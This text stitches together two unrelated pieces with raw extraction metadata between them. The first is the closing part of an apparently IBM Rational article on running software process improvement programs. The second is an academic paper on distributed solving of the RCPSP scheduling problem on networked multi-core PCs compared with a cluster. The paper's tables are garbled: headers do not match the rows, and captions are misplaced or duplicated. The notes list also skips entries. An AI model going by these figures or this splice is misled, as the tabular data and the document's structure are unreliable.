As we have seen, the major issues involved in successfully effecting organizational change are political and personal rather than method-, tool-, or technique-related.
The program's management should keep in mind that:
- **The support organization may already be in place.** Most organizations already have teams charged with supporting components of the software development environment. These people have knowledge and experience that will be essential to implementing the Process Improvement Program effectively, and they should be brought onboard as soon as possible.
- **Don't attempt to roll out changes before they have been established and proven.** Many programs set up a mass of central teams and attempt to mandate the way that people should work before the process itself has been established or proven. For example, many organizations spend a great deal of money setting up and building reuse repositories before they have even proven their capability to produce and maintain any formal reusable assets.
- **Don't get carried away with your own publicity.** Transforming an organization takes time. The ultimate result of the Process Improvement Program may be to transition all teams to component-based development, or to set up the structures of a reuse business. But these things will happen only if they will result in overall process improvements, and they must be approached step by step.
- **Any centralized solution is only a framework.** As the software development environment matures, it is very tempting to start believing that there is a "one-size-fits-all" solution that can be mandated for all existing and future projects. Different areas of the process vary in response to different forces: The project management process may vary with the size and formality of the project, the design and implementation process with the technology chosen. Any centralized process must provide a common environment for the successful execution of projects while preserving the autonomy that the
projects need to be able to progress effectively.
Individual projects will also need to tune the process within the constraints laid down by the organizational culture. The process must encourage this, and provide a mechanism for the individual process improvements to be fed back to the Process Improvement Program and made available to the rest of the organization.
- **Bootstrap the software development environment** (i.e., "Eat your own dog food"). Use the concepts, methods, tools, and techniques of the proposed solution to build the solution itself. For example:
- If you are proposing the introduction of business modeling techniques, then prove these techniques by modeling the software engineering organization.
- If you are proposing that projects manage their requirements using a specific process and tools, then use these to manage the software development environment's requirements.
- If you are proposing a specific project management approach, then use this approach to manage the Process Improvement Program.
In fact, this advice applies to most Program areas: Perform all activities using the new process that you want the organization to follow.
**The Process Improvement Lifecycle**
If you are truly successful in your Process Improvement Program, then process improvement itself will become one of the essential, underlying tenets of your organizational culture. The Process Improvement Program may never end; it will continue iterating through the basic cycle shown in Figure 3.

The Process Improvement Program itself consists of a number of phases, all of which follow the cycle shown in Figure 3. Each phase encompasses planning and implementation for a specific set of process improvements within, or extending, the underlying process framework. As the process establishes itself as a fundamental part of the organizational culture, the whole organization should move into a state of continuous process...
improvement. See Figure 4.

**Figure 4: Continuous Process Improvement**
The early phases will focus on establishing the software development environment. Once that has been fully implemented, the later phases of the program will be concerned with tuning, maintaining, and supporting it. The quest for process improvement should be ongoing: We should always strive to learn from our experiences and continually evolve and improve both the process and the organizational culture.
The size, number, style, and duration of the phases within the program depend on a detailed knowledge of the organization being addressed, the state of its current processes, and the scope of the Process Improvement Program itself. The RUP contains detailed guidance and illustrations of typical process implementation patterns and approaches.
Another essential source of guidance is the Carnegie Mellon Software Engineering Institute. In addition to publishing the Capability Maturity Model® for Software, which itself acts as a framework for undertaking process improvement, the Institute has developed the IDEAL model to guide organizations in planning and implementing an effective software Process Improvement Program. Based upon the Capability Maturity Model, this model presents a more formal, and thoroughly documented, iterative lifecycle than the simple model shown in Figure 3.
**Summary**
To produce long-lasting improvements in software development organization performance, we must embed the need for improvement directly into the heart of the organizational culture and adopt a holistic approach that continuously improves support for all aspects of the organization. This means embarking on a program of organizational change.
The most effective method for producing fundamental change within a software development environment is to change the underlying development process through a Process Improvement Program. The Program should be set up and managed like any other business program, with a strong focus on return on investment and several phases of implementation.
Strategies for success include the following:
- Kick-start the Process Improvement Program by focusing on problem areas for which you can easily achieve positive results and people can
see benefits early on.
- Communicate the problems with today's organization; if people understand those problems, they will accept the need for change.
- Do not try to do everything at once. Instead, divide the implementation into a number of increments and, in each one, implement a portion of the new process together with supporting tools. Focus on areas in which the change will have the most impact.
- Build on the best. Don't throw away all the things the organization does well. Integrate these into whatever standard process you choose.
- Implement the process and tools in iterations of actual software development projects to verify the process and the tools early on in a real environment. The process must improve and evolve in partnership with projects that will use it.
- Distribute ownership of the process among project teams. This will produce a better process, get people more involved, and reduce resistance to change in the projects.
The project team members assigned to the Process Improvement Program should:
- Mentor and facilitate projects adopting the process.
- Work closely with projects to capture and document appropriate process improvements.
- Promote the new process within the organization.
They should not attempt to draft a perfect one-size-fits-all process. The process will always require local configuration and provides three things:
- A framework for projects to quickly instantiate their process.
- A common basis and minimal acceptance criteria for all projects.
- A library of tools and techniques that projects can apply.
Implementing a new process, new tools, and possibly new technology makes a software project's schedule more volatile. Be sure to allocate enough time and resources to implement the process, train people, and so forth during all iterations. And remember: Keep all stakeholders well informed and involved as you make progress with your Process Improvement Program.
**References**
**Books and Articles**
**Rational Unified Process**
This article draws very heavily from the following sections of the Environment Discipline within the Rational Unified Process:
- Concepts: Effect of Implementing a Process
- Concepts: Mentoring
- Concepts: Managing Organizational Change
- Concepts: Environment Practices
- Concepts: Implementing a Process in an Organization
**The Carnegie Mellon Software Engineering Institute**
For more information on Process Improvement Programs and information on the Capability Maturity Model for Software and the IDEAL model, visit the Carnegie Mellon Software Engineering Institute Web site:
- [http://www.sei.cmu.edu/ideal/ideal.html](http://www.sei.cmu.edu/ideal/ideal.html)
- [http://www.sei.cmu.edu/cmm/cmms/cmms.html](http://www.sei.cmu.edu/cmm/cmms/cmms.html)
- [http://www.sei.cmu.edu/sei-home.html](http://www.sei.cmu.edu/sei-home.html)
**Notes**
1. This section is extracted from the Rational Unified Process: Environment/Concepts/Managing Organizational Change, which in turn draws heavily upon Roger Hebden's paper, "Affecting Organizational Change." (See #2 below.)
4. Ivar Jacobson, Martin Griss and Patrik Jonsson, *Software Reuse: Architecture, Process and*
For more information on the products or services discussed in this article, please click here and follow the instructions provided. Thank you!
|
{"Source-Url": "https://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan02/ProcessImprovementJan02.pdf", "len_cl100k_base": 5740, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 29213, "total-output-tokens": 6802, "length": "2e12", "weborganizer": {"__label__adult": 0.0004127025604248047, "__label__art_design": 0.0004820823669433594, "__label__crime_law": 0.0003509521484375, "__label__education_jobs": 0.0027923583984375, "__label__entertainment": 5.6803226470947266e-05, "__label__fashion_beauty": 0.00015270709991455078, "__label__finance_business": 0.0017337799072265625, "__label__food_dining": 0.00041794776916503906, "__label__games": 0.00041556358337402344, "__label__hardware": 0.00047469139099121094, "__label__health": 0.0004096031188964844, "__label__history": 0.00019443035125732425, "__label__home_hobbies": 0.00012350082397460938, "__label__industrial": 0.0003509521484375, "__label__literature": 0.0003039836883544922, "__label__politics": 0.0002663135528564453, "__label__religion": 0.00032591819763183594, "__label__science_tech": 0.0020923614501953125, "__label__social_life": 0.00013625621795654297, "__label__software": 0.005268096923828125, "__label__software_dev": 0.982421875, "__label__sports_fitness": 0.0003399848937988281, "__label__transportation": 0.00037741661071777344, "__label__travel": 0.0002009868621826172}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 31987, 0.00393]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 31987, 0.29069]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 31987, 0.93578]], "google_gemma-3-12b-it_contains_pii": [[0, 1220, false], [1220, 3031, null], [3031, 5565, null], [5565, 7933, null], [7933, 10311, null], [10311, 12348, null], [12348, 14741, null], [14741, 17744, null], [17744, 20502, null], [20502, 23177, null], [23177, 25188, null], [25188, 27496, null], [27496, 29665, null], [29665, 31845, null], [31845, 31987, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1220, true], [1220, 3031, null], [3031, 5565, null], [5565, 7933, null], [7933, 10311, null], [10311, 12348, null], [12348, 14741, null], [14741, 17744, null], [17744, 20502, null], [20502, 23177, null], [23177, 25188, null], [25188, 27496, null], [27496, 29665, null], [29665, 31845, null], [31845, 31987, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 31987, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 31987, null]], "pdf_page_numbers": [[0, 1220, 1], [1220, 3031, 2], [3031, 5565, 3], [5565, 7933, 4], [7933, 10311, 5], [10311, 12348, 6], [12348, 14741, 7], [14741, 17744, 8], [17744, 20502, 9], [20502, 23177, 10], [23177, 25188, 11], [25188, 27496, 12], [27496, 29665, 13], [29665, 31845, 14], [31845, 31987, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 31987, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
4ff5ad8b2a3e0c7e2a07da84efe3aebf01449f8e
|
[REMOVED]
|
{"Source-Url": "http://uvadoc.uva.es:80/bitstream/10324/29111/1/bfcaplus.pdf", "len_cl100k_base": 5058, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 31224, "total-output-tokens": 7025, "length": "2e12", "weborganizer": {"__label__adult": 0.0004091262817382813, "__label__art_design": 0.0003452301025390625, "__label__crime_law": 0.00040650367736816406, "__label__education_jobs": 0.0005311965942382812, "__label__entertainment": 8.356571197509766e-05, "__label__fashion_beauty": 0.00019657611846923828, "__label__finance_business": 0.00025534629821777344, "__label__food_dining": 0.00039768218994140625, "__label__games": 0.0007467269897460938, "__label__hardware": 0.0017833709716796875, "__label__health": 0.0006670951843261719, "__label__history": 0.00031685829162597656, "__label__home_hobbies": 0.00012195110321044922, "__label__industrial": 0.000698089599609375, "__label__literature": 0.0002256631851196289, "__label__politics": 0.0003383159637451172, "__label__religion": 0.0006279945373535156, "__label__science_tech": 0.0704345703125, "__label__social_life": 9.375810623168944e-05, "__label__software": 0.006664276123046875, "__label__software_dev": 0.9130859375, "__label__sports_fitness": 0.0004494190216064453, "__label__transportation": 0.0008516311645507812, "__label__travel": 0.0002741813659667969}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 28146, 0.03615]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 28146, 0.52562]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 28146, 0.87992]], "google_gemma-3-12b-it_contains_pii": [[0, 1943, false], [1943, 5126, null], [5126, 8183, null], [8183, 11337, null], [11337, 12713, null], [12713, 15389, null], [15389, 16966, null], [16966, 17561, null], [17561, 19234, null], [19234, 20992, null], [20992, 23941, null], [23941, 28146, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1943, true], [1943, 5126, null], [5126, 8183, null], [8183, 11337, null], [11337, 12713, null], [12713, 15389, null], [15389, 16966, null], [16966, 17561, null], [17561, 19234, null], [19234, 20992, null], [20992, 23941, null], [23941, 28146, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 28146, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 28146, null]], "pdf_page_numbers": [[0, 1943, 1], [1943, 5126, 2], [5126, 8183, 3], [8183, 11337, 4], [11337, 12713, 5], [12713, 15389, 6], [15389, 16966, 7], [16966, 17561, 8], [17561, 19234, 9], [19234, 20992, 10], [20992, 23941, 11], [23941, 28146, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 28146, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
a9862ca59534472a300985d5572810f69ab153df
|
A LOW-COST MULTICOMPUTER FOR SOLVING THE RCPSP
Grzegorz Pawiński¹, Krzysztof Sapiecha¹
¹Department of Computer Science, Kielce University of Technology
KEY WORDS: RCPSP, multicomputer, distributed processing model
ABSTRACT: In the paper it is shown that time necessary to solve the NP-hard Resource-Constrained Project Scheduling Problem (RCPSP) could be considerably reduced using a low-cost multicomputer. We consider an extension of the problem when resources are only partially available and a deadline is given but the cost of the project should be minimized. In such a case finding an acceptable solution (optimal or even semi-optimal) is computationally very hard. To reduce this complexity a distributed processing model of a metaheuristic algorithm, previously adapted by us for working with human resources and the CCPM method, was developed. Then, a new implementation of the model on a low-cost multicomputer built from PCs connected through a local network was designed and compared with regular implementation of the model on a cluster. Furthermore, to examine communication costs, an implementation of the model on a single multi-core PC was tested, too. The comparative studies proved that the implementation is as efficient as on more expensive cluster. Moreover, it has balanced load and scales well.
1. INTRODUCTION
Resource allocation, called the Resource-Constrained Project Scheduling Problem (RCPSP), attempts to reschedule project tasks efficiently using limited renewable resources minimising the maximal completion time of all activities [3-5]. A single project consists of $m$ tasks which are precedence-related by finish-start relationships with zero time lags. The relationship means that all predecessors have to be finished before a task can be started. To be processed, each task requires a human resource $(HR)$. The resources are limited to one unit and therefore have to perform different tasks sequentially. RCPSP is an NP-hard problem. In most cases, branch-and-bound is the only exact method which allows the generation of optimal solutions for scheduling rather small projects (usually containing less than 60 tasks and not highly constrained) within acceptable computational effort [1, 5]. Results of the Hartmann and Kolisch [8] investigation showed that the best performing heuristics were the GA of Hartmann [7] and the SA procedure of Bouleimen and Lecocq [2]. Their latest research revealed that the forward-backward improvement technique applied to X-pass methods, metaheuristics or other approaches produces good results and that the most popular metaheuristics were GAs and TS methods.
In our previous works, cost-efficient project management based on a critical chain (CCPM) was investigated. The CCPM is one of the newest scheduling techniques [19]. It was used to solve a variant of the RCPSP. A goal of the management was to allocate resources in order to minimise the project total cost and complete it in a given time. A sequential metaheuristic from Deniziak [6] was adapted to take into account specific features of human resources participating in a project schedule. The research showed high efficiency of this adaptation for resource allocation [12]. An extension of the problem, where HRs are only partially available since they may be involved in many projects, was also investigated [14]. The research proved that the adaptation is efficient but the minimization was still time consuming and would require accelerating to cope with bigger real-life problems.
Our latest research showed that the algorithm has got an inherent parallelism. Hence, a distributed processing model for solving the extension of the RCPSP was developed and tested on a regular PCs [13]. It gave a time of scheduling even 10 times smaller than the sequential processing. Therefore, in this research we present a new implementation of the model, on a low-cost multicomputer built from PCs connected through a local network. Furthermore, we compare it with regular implementation of the model on a cluster and show that it may be just as efficient, but not so expensive what might limit its practical value.
The next section of the paper contains a brief overview of related work. Motivation for the research is given in section 3. An implementation of the distributed processing model for the algorithm is presented in section 4. Evaluation of the implementation in both distributed and parallel environments is given in section 5. The paper ends with conclusions.
2. RELATED WORK
Researchers studied the problem and suggested their own solutions which can be divided into exact procedures and heuristics. Branch and bound methods are an example of the exact procedures (see e.g. [3], [4]). In [11] another method, a tree search algorithm, was presented. It is based on a new mathematical formulation that uses lower bounds and dominance criteria. An in-depth study of the performance of the latest RCPSP heuristics can be found in [10]. Heuristics described by the authors include X-pass methods, also known as priority rule-based heuristics, classical metaheuristics, such as Genetic Algorithms (GAs), Tabu search (TS), Simulated annealing (SA), and Ant Colony Optimisation (ACO). Non-standard metaheuristics and other methods were presented as well. The former consist of local search and population-based approaches, which have been proposed to solve the RCPSP. The authors investigated a heuristic which applies forward-backward and backward-forward improvement passes. For detailed description of the heuristic schedule generation schemes, priority rules, and representations refer to [8].
The effectiveness of scheduling methods can be further improved using parallel processing. Some implementations of parallel TS [15–17] and SA [18] algorithms for different combinatorial problems have already been proposed. The most common one is based on dividing (partitioning) the problem such that several partitions could be run in parallel.
parallel and then merged. Parallelism in GAs can be achieved at the level of single individuals, the fitness functions or independent runs [21, 22]. All of the parallel approaches fall into three categories: the first uses a global model, the second uses a coarse-grained (island) model and the third uses a fine-grained (grid, cellular) model [20]. In the global model, a master process manages the whole population by assigning subsets of individuals to slave processes. In the island model a population is divided into sub-populations that are evolved separately. During evolution, some individuals are exchanged periodically between them. In the grid model a population is represented as a network of interconnected individuals where only neighbors may interact. It was observed that parallel GAs (PGAs) usually provide better efficiency than sequential ones [20]. The same parallel approaches can be applied for ACO. In [23] five strategies of parallel processing are described, which are mainly based on the well-known master/slave approach [24].
3. MOTIVATION
The sequential algorithms are time consuming, what considerably limits their usefulness. Speeding up the calculations would be desirable for project managers because it may allow managing complex projects in acceptable time. Parallel models offer the advantage of reducing the execution time and give an opportunity to solve new problems which have been unreachable in case of sequential models. The most popular parallel strategies are based on master/slave approach [24] with centralized management of distributing tasks and gathering results. The master can efficiently coordinate the system, avoiding potential conflicts before they take place, and react on failures of the slaves. However, global gathering and re-broadcasting of large configurations can be time-consuming. Costs of synchronization between slaves have to be considered, also. Some slaves may have to wait for completing other tasks, which is necessary to retain data integrity. Moreover, the master is the weakest point of the system. The system will slow down if the master cannot handle incoming requests. If the master crashes, the whole system will also crash. Another problem is load imbalance caused by unpredictable processing time of each slave. Summarizing, the gain coming from parallelization of the algorithm may be significantly reduced.
From our research it also follows that parallel processing could reduce efficiently the amount of the time consumed by the metaheuristic algorithm [13]. Usually, such reduction requires a use of a cluster and hence is expensive what may limit its popularity. The key idea to overcome this inconvenience is to make use of multi-core architecture of low-cost PCs, instead of the cluster. Such a multi-multi computer is cheap, easily assembled and might be very useful for practical reasons. However, it should be proven that the implementation is as efficient as on the cluster, and that it has balanced load and scales well.
4. OPTIMIZATION ALGORITHM
The metaheuristic algorithm starts with the initial point and searches for the cheapest solution satisfying given time constraints. The initial schedule is generated by greedy procedures that try to find a resource for each task basing upon to the smallest increase of the project duration or the project total cost. It is a suboptimal solution which the algorithm tries to enhance. In each pass of the iterative process, the current project
The schedule is being modified in order to get closer to the optimum. In the first add stage a new HR which is not in the schedule is attached to it. Tasks of HRs which have already been engaged in the schedule are moved to the HR but only when a positive gain is achieved. Afterwards, if there are HRs without allocated tasks, they are removed from the schedule. The best schedule goes to the next stage and the proceeding is repeated until no more free HRs are available. In the second rem stage all tasks allocated to the HR are moved onto other HRs, still remaining in the schedule, but only when a positive gain is achieved. Then again, HRs without allocated tasks are removed from the schedule. Finally, the best project schedule coming from all stages is chosen. The iterative process is repeated for every resource from the resource library until no improvement can be found. At the very end, project tasks may be shifted right to the latest feasible position into their forward free slack by means of As Late As Possible (ALAP) schedule.
4.1. Distributed processing model
The distributed processing model is shown in Figure 1.

Figure 1 Distributed processing model
In general, there are \( R \cdot (1 + R_r) \) schedule modifications that have to be calculated, where \( R \) is the number of HRs and \( R_r \) is the number of HRs that have left after particular add stage. However, not all of them can be performed at the same time. At the beginning, only \( R \) attempts to add a new HR to the schedule may be calculated. Each of the add stages could be performed simultaneously. Afterwards, if any of them is finished, \( R_r \) attempts in the rem stage may be started. The attempts to move all tasks from each of HRs may also be calculated separately. Thus, the maximal number of simultaneous modifications is \( R \cdot R_r \), when all the add stages finish at the same time. The process iteration ends after finishing all of the second stages.
4.2. Implementation of the model
The distributed processing model (Figure 2) was implemented in Java. One application, which is a tasks dispatcher (D), manages a pool of threads responsible for communication with other worker applications, located on remote computers.

(D - tasks dispatcher, T - thread, C - remote computer, P - process, RMI - remote method invocation)
At the beginning, workers notify the dispatcher about their readiness to execute tasks. The tasks dispatcher creates a new thread for each worker and joins it to the pool. The pool contains as many threads as needed, but will reuse previously constructed threads when they are available. On the remote computers, workers run as independent processes, what makes them available for direct communication. Therefore, the tasks dispatcher may uniformly split the computational tasks, so as to workload could easily be balanced. Each remote computer runs as many processes as the number of processor cores, in order to use the whole computing power of multi-core machines. During executing an iteration of the algorithm, the tasks dispatcher sends schedule modification requests to the first free worker. To this end, it uses Remote Method Invocation (RMI) for communication. If a worker is not responding, it will be removed from the pool and the request will be sent to another free worker. Workers receive project data and the searching parameters so as to invoke a method, in order to perform the add or the rem stage. Afterwards, results of modifications are sent back to the dispatcher and then the thread can be reused. Synchronization occurs at the end of each of the iterations because all the rem stages have to be finished in order to choose the best schedule.
5. COMPARATIVE STUDIES
The efficiency of the algorithm described in the paper was estimated on 100 randomly generated project plans containing from 30 to 60 tasks, and from 8 to 16 HRs with random data. Each project plan was scheduled several times and results were averaged. Tasks in the project plan may have at most 4 precedence relationships with probability 0.35. They can be easily scheduled because they have few predecessors or none. If the probability of inserting the precedence relationships were lower, the project plan would contain mostly unconnected tasks. On the other hand, tasks with two or more predecessors significantly decrease the search space. In each project, resource availability was reduced by allocating 30 tasks from PSPLIB, developed by Kolisch and Sprecher [9]. The set with 30 non-dummy activities currently is the hardest standard set of RCPSP-instances for which all optimal solutions are known [4]. However, we considered an extension of RCPSP where resources have already got their own schedule and a cost of the project, but not the project duration, should be minimized. So even though we take the project instances from PSPLIB, the results cannot be compared. The initial schedule was generated by two greedy procedures mentioned at the beginning of section 4.
Implementation of the distributed model was run on two distributed systems:
- multicomputer built from PCs (Cluster PCs) that comprises 10 multi-core computers with Intel Core i5-760 Processor (8M Cache, 2.80 GHz) and 2 GB of RAM memory, connected via a Gigabit Ethernet TCP/IP local network,
- regular cluster that comprises 1 head node with Intel Xeon E5410@2.33GHz, 16GB of RAM memory and 10 processing nodes with Intel Xeon E5205@1.86GHz, 6GB of RAM memory, connected via a Gigabit Ethernet TCP/IP local network.
Furthermore, to examine communication costs, an implementation of the model on a single multi-core PC was tested, too.
5.1. Tests which examine implementation of the model in distributed environments
The algorithm scalability depends on the number of HRs because it is related to the number of schedule modifications. The number of independent requests, and consequently the need for workers, increases along with the increase of the number of HRs. Influence of changing the number of workers on the computation time towards the number of tasks is shown in Figure 3. In both distributed environments, the computation time significantly falls as the number of workers grows. Decline is particularly visible when only few workers are used. Finally, the computation time exceeds its minimum, no matter how many workers is used. In both environments, also the increase of the number of tasks influences the drop of the scheduling time. However, the cluster, despite slower CPUs, copes better along with the increase of the number of tasks. In the cluster, the growth of the scheduling time in more complex projects is slower, especially when only few workers are used. In general, a reduction of the computation time looks similar in both environments. It is worth noticing that, the computation time was reduced even to 6% of sequential computation time for the project with 60 tasks and 12 HRs (Figure 3b, left column).
A CPU usage in ClusterPCs during scheduling of a project with 35 tasks and 16 HRs was examined (Figure 4). The CPU usage was monitored every 50 ms and the reads were averaged at the end of calculations. More frequent reads could influence the processor load. The number of HRs was chosen so that enough simultaneous attempts were provided to make workers busy. PCs were running 4 workers each (one worker was assigned to every core).
Figure 4 illustrates how the schedule modification requests spread over the available PCs. CPU usage on PC #1 is almost 100% but only when 4 workers are used. If the number of workers increases, the load is balanced by the use of the other PCs. The distributed algorithm scales well because the computational tasks may be uniformly split among workers. Summing up the cores usage (counted in 100%), it grows from 3.7 cores for 4 workers to 9.48 cores for 36 workers. The total core usage together with the tasks dispatcher was 10.02. Hence, the scheduling time was reduced 10 times by the use of 40 cores on 10 PCs.
5.2. Tests which examine the influence of the communication cost on algorithm performance
Distributed tests were executed in order to examine how the network latency influences the algorithm performance. To that end, 4 workers were run on the ClusterPCs that comprises 2 multi-core PCs and compared with 4 workers on 2 processing nodes in the cluster and 4 workers on a single PC (so called LocalPC). All workers were using RMI for communication. At first, the number of modification requests was counted with respect to the number of resources and the number of tasks (Table 1).
<table>
<thead>
<tr>
<th>No. resources</th>
<th>No. task</th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>634</td>
<td>755</td>
<td>480</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>765</td>
<td>930</td>
<td>869</td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>1009</td>
<td>694</td>
<td>1492</td>
<td></td>
</tr>
<tr>
<td>16</td>
<td>1412</td>
<td>1412</td>
<td>1564</td>
<td></td>
</tr>
</tbody>
</table>
The number of requests increases as the number of resources increases and varies along with the increase of the number of tasks. However, the more requests are sent, the greater will be the impact of communication cost on the performance. The average scheduling time for a project with 30 tasks is shown in Table 2.
Table 2 Average time of transferring data between the tasks dispatcher and workers for a project with 30 tasks [ms] (Remote - workers located on 2 remote computers, Local - workers located on the same machine, Resnum - No. resources).
<table>
<thead>
<tr>
<th>Resnum</th>
<th>No. tasks</th>
<th>cluster</th>
<th>ClusterPCs</th>
<th>LocalPC</th>
<th>Threads</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>3</td>
<td>4</td>
<td>2</td>
<td>3</td>
<td>4</td>
</tr>
<tr>
<td>10</td>
<td>5587</td>
<td>3922</td>
<td>2949</td>
<td>3961</td>
<td>2603</td>
</tr>
<tr>
<td>12</td>
<td>7242</td>
<td>4825</td>
<td>3827</td>
<td>4660</td>
<td>3016</td>
</tr>
<tr>
<td>14</td>
<td>9677</td>
<td>6427</td>
<td>5137</td>
<td>6187</td>
<td>3542</td>
</tr>
<tr>
<td>16</td>
<td>12911</td>
<td>8548</td>
<td>6555</td>
<td>7745</td>
<td>4787</td>
</tr>
</tbody>
</table>
It is clear that the scheduling time decreases when the number of workers grows. Yet, the decline is very low between 3 and 4 workers in the LocalPC because computer resources start to be overloaded when 4 workers and the tasks dispatcher run on the same machine. On average, the LocalPC is about 13% faster than the corresponding ClusterPCs (for less than 4 workers), due to low communication costs. On the other hand the ClusterPCs is better when the number of workers exceeds the number of processor cores. It is also not limited to the number of workers. But even the usage of 4 workers reduced the scheduling time by 54% in the ClusterPCs and by 48% in the cluster, in the project with 30 tasks and 10 HRs. However, the reduction ratio in the former decreases along with the increasing number of resources and does not change in the latter. It means that the cluster copes better than PCs also with the increase of the number of resources.
The average time of transferring data between the tasks dispatcher and workers for a project with 30 tasks [ms] (Remote - workers located on 2 remote computers, Local - workers located on the same machine, Resnum - No. resources).
Table 3 Average time of transferring data between the tasks dispatcher and workers for a project with 30 tasks [ms] (Remote - workers located on 2 remote computers, Local - workers located on the same machine, Resnum - No. resources).
<table>
<thead>
<tr>
<th>Resnum</th>
<th>No. tasks</th>
<th>cluster</th>
<th>ClusterPCs</th>
<th>LocalPC</th>
<th>Threads</th>
</tr>
</thead>
<tbody>
<tr>
<td>30</td>
<td>35</td>
<td>40</td>
<td>30</td>
<td>35</td>
<td>40</td>
</tr>
<tr>
<td>10</td>
<td>5.62</td>
<td>6.41</td>
<td>6.22</td>
<td>5.84</td>
<td>6.29</td>
</tr>
<tr>
<td>12</td>
<td>5.62</td>
<td>6.41</td>
<td>6.22</td>
<td>5.96</td>
<td>6.76</td>
</tr>
<tr>
<td>14</td>
<td>5.66</td>
<td>5.66</td>
<td>6.29</td>
<td>6.06</td>
<td>7.03</td>
</tr>
<tr>
<td>16</td>
<td>5.77</td>
<td>5.72</td>
<td>6.31</td>
<td>6.49</td>
<td>6.73</td>
</tr>
</tbody>
</table>
Yet, the increase of the time is much faster in the ClusterPCs, than in the cluster. Consequently, the data transfer in the ClusterPCs gets slower in the projects with more than 35 tasks and 10 HRs. On average, the data transfer is about 2.2 times slower in the ClusterPCs than within a single multi-core PC. On a single machine, it may be further reduced to less than 0.5 ms by the use of threads instead of processes in LocalPC (so called Threads). Threads are much lighter than processes and share the process'
resources. Thus, even if only one multi-core machine is available, the scheduling time with the use of 4 workers may be reduced by about 47%. The scheduling time on a single machine with the use of 4 threads is relevant to the scheduling in ClusterPCs on 2 multi-core PCs with 4 workers on each. But still, if the need for workers is greater, the ClusterPCs is better. Moreover, running more threads than 5 on a 4-core processor is not so efficient. Comparison results of time needed to transfer data between the tasks dispatcher and 3 workers, averaged from all attempts, are shown on Figure 5.

6. CONCLUSIONS
In the research, a distributed model was used in order to reduce the computation time for a solution of the RCPSP when resources are partially available. An implementation of the model on a multicomputer built from PCs was tested and compared with regular implementation of the model on a cluster. The tasks dispatcher and workers were connected through a local network and were using RMI for communication. The tasks dispatcher was using multithreading for spreading and gathering data while, at the same time, workers were calculating different schedule modifications and sending back the results. The workers were run on remote computers as independent processes and hence did not have to be synchronized. Workers were gathered in a pool managed by the tasks dispatcher and were available for a direct use. The best efficiency was obtained when there were as many processes running as the number of computer cores. Hence, the more cores inside the computer, the more workers can run on it and fewer PCs are needed. Consequently, the more workers the shorter the computation time, but only when there is enough work to do for the workers. Too few workers cannot handle rapidly growing calculation requests after the first stage of the algorithm. The maximum number of workers depends on the number of HRS because it is related to the number of schedule modifications. Thus, the project scheduling cannot be speed up if there is a lot of resources and not enough workers and vice versa.
The research showed that the multicomputer built from multi-core PCs may be successfully used for reduction of the scheduling time. Obtained results are comparable with the cluster. In both environments the reduction of time looks similar. However, the cluster copes better along with the increase of the number of tasks and the number of resources. In the cluster the communication cost is lower than in the ClusterPCs, in the
